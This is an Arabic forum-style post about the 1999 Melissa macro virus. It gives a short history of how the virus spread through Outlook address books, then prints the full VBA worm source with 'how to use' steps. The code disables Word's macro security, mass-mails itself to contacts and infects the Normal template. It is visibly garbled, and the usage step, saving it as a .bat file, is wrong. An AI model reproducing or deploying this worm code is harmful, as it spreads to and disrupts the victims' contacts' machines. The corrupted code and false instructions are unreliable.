الفايروس مليسا معلومة + الكود

كان هذا الفيروس متجدداً في طريقة انتشاره وانتقاله, فهذا الفيروس يقوم بتحديد مكان كتاب عناوين البريد الإلكتروني ثم يقوم بإرسال نفسه إلى اصدقائك ومعارفك وهذه الطريقه الذكية تسمح للفيروس بالانتقال والانتشار بشكل كبير , لاسيما وقد أتي من مصدر موثوق به وهذا سر انتشار هذا النوع من الفيروسات - لا اعتقد انك ستشك في ان اصدقائك قد يرسل احدهم اليك فيروس ومن هذا المنطلق ستكون واثق وستفتح الرساله . وبعد ان تصاب تتكرر العمليه وهنا ينتشر بسرعه رهيبه هذا الفيروس وكان من اهم من اطلق منه في عام 1999م - وهذا الفيروس يخترق نظام الورد في الجهاز المصاب ويعدل فيه ويستخدم ملفات الورد المصابة لارسال نفسه وهو يرسل نفسه عبر قوائم البريد الموجودة في الاوتلوك ولاكثر من 50 شخص .

بدأ الأمر في يوم الجمعة السادس والعشرين من مارس عام 1999م, عندما أرسل احدهم رسالة تحتوي على هذا الفيروس الى أحد الجرائد باستخدام حق دخول AOL. وانتشر الأمر بسرعة فائقة لم يحققها أي فيروس . (فيما عدا LOVE BUG الذى تفوق عليه في مايو 2000 م ) .

وهكذا بدأت وحدات خدمة البريد الإلكتروني في Microsoft و Intel و Lucent وغيرها من الشركات الكبرى تعاني من بطء تحت وطأة هجوم فيروس Melissa .
وبسرعة فائقة ايضاً , بدأت مئات الآلآف من الرسالات الإلكترونية الكاذبة تغزو كل مواقع البريد الإلكتروني, وقد كان الامر كارثة حقيقيه حتي ان شركة Microsoft قد اظطرت لإغلاق نظامها الضخم للبريد الإلكتروني لمنع انتشار الفيروس. وهذا مايجهله الكثير من المستخدمون ظنن منهم ان التوقف بسبب صيانه او عطل او خدمة سيئه تقدم من قبل شركة Microsoft.

إلا ان فيروس Melissa سبب ضرراً فعلياً صغيراً فهو لم يقوم بحذف مكونات محرك الأقراص الصلبة أو اختراق أنظمةالأمن في أي جهاز. إلا أن تكاليف البحث عنه وإزالته من كل الأنظمة كانت باهظه جداً .

الكود:



الكود

يصتاده برامج الحمايه

طريقه الاستعمال

افتح نوت باد او txt وانسخ الكود وضعه ثم حفظ باسم  ثم نكتب الايم متبوع بالاحقة .bat




PrivateSub AutoOpen() OnErrorResumeNext
p$ = "clone"
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e c urity", "Level") <> "" Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\.0\o rd\e c urity", "Level") = 1&
Else
p$ = "clone"
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
EndIf
DimUngaDasOutlook, DasMapiName, BreakUmOffASlice
SetUngaDasOutlook = CreateObject("Outlook.Application")
SetDasMapiName = UngaDasOutlook.___NameSpace("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") <> "... by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 ToDasMapiName.AddressLists.Count
SetAddyBook = DasMapiName.AddressLists(y)
x = 1
SetBreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 ToAddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Thenoo = AddyBook.AddressEntries.Count
Nextoo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that ________ you asked for ... don't show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active________.FullName
BreakUmOffASlice.Send
Peep = ""
Nexty
DasMapiName.Logoff
EndIf
p$ = "clone"
System.PrivateProfileString("", "HKEY_CURRENT_USER\oftware\icrosoft\ffice\, "Melissa?") = "... by Kwyjibo"
EndIf
SetADI1 = Active________.VBProject.VBComponents.Item(1)
SetNTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then_
ADI1.CodeModule.DeleteLines 1, ADCL
SetToInfect = ADI1
ADI1.Name= "Melissa"
DoAD = True
EndIf
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then_
NTI1.CodeModule.DeleteLines 1, NTCL
SetToInfect = NTI1
NTI1.Name= "Melissa"
DoNT = True
EndIf
If DoNT <> TrueAnd DoAD <> TrueThenGoToCYA
If DoNT = TrueThen
DoWhileADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub _________Close()")
DoWhileADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
EndIf
p$ = "clone"
If DoAD = TrueThen
DoWhileNTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub _________Open()")
DoWhileNTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
EndIf
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active________.Name, "________") = False) Then
Active________.SaveAs FileName:=Active________.FullName
ElseIf (InStr(1, Active________.Name, "________") <> False) Then
Active________.Saved = True: EndIf
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) ThenSelection.Type____ "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
EndSub